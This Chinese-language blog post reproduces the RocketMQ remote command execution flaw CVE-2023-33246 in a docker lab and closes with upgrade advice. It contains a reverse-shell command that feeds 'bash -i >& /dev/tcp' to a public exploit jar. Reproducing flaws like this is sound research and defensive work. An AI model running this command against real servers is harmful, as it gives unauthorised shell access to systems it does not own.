赞
踩
在RocketMQ 5.1.0及以下版本在一定条件下,会存在远程命令执行风险;由于RocketMQ的NameServer、Broker、Controller等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外攻击者还可以通过伪造 RocketMQ 协议内容来达到同样的效果。
Apache RocketMQ <= 5.1.0
Apache RocketMQ <= 4.9.5
直接用docker拉取漏洞环境。
下载docker镜像:
docker pull apache/rocketmq:4.9.1
docker pull apacherocketmq/rocketmq-console:2.0.0
启动namesrv:
docker run -d -p 9876:9876 -v /data/namesrv/logs:/root/logs -v /data/namesrv/store:/root/store --name rmqnamesrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv
启动broker服务(先创建并配置broker文件)
创建broker文件目录
mkdir -p /NDTSec/rocketmq/conf/
配置broker文件
vim /NDTSec/rocketmq/conf/broker.conf
将下面内容复制粘贴到broker.conf配置文件中:
brokerClusterName = DefaultCluster
brokerName = broker-a
brokerId = 0
deleteWhen = 04
fileReservedTime = 48
brokerRole = ASYNC_MASTER
flushDiskType = SYNC_FLUSH
启动broker:
docker run -d -p 10911:10911 -p 10909:10909 -v /data/broker/logs:/root/logs -v /data/broker/store:/root/store -v /NDTSec/rocketmq/conf/broker.conf:/opt/rocketmq/conf/broker.conf --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf
启动console:
docker run -d --name rmqconsole -p 8899:8080 --link rmqnamesrv:namesrv \
-e "JAVA_OPTS=-Drocketmq.namesrv.addr=ip地址:9876 \
-Dcom.rocketmq.sendMessageWithVIPChannel=false" \
-t apacherocketmq/rocketmq-console:2.0.0
环境搭建成功!
利用Github上写好的工具反弹shell:
https://github.com/Serendipity-Lucky/CVE-2023-33246
CVE-2023-33246.jar -ip "环境ip" -cmd "bash -i >& /dev/tcp/服务器ip/1122 0>&1"
https://github.com/Serendipity-Lucky/CVE-2023-33246
NC监听
攻击成功
目前官方已发布安全修复更新,受影响用户可以升级到 Apache RocketMQ 5.1.1或者4.9.6
建议及时更新至最新版本
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。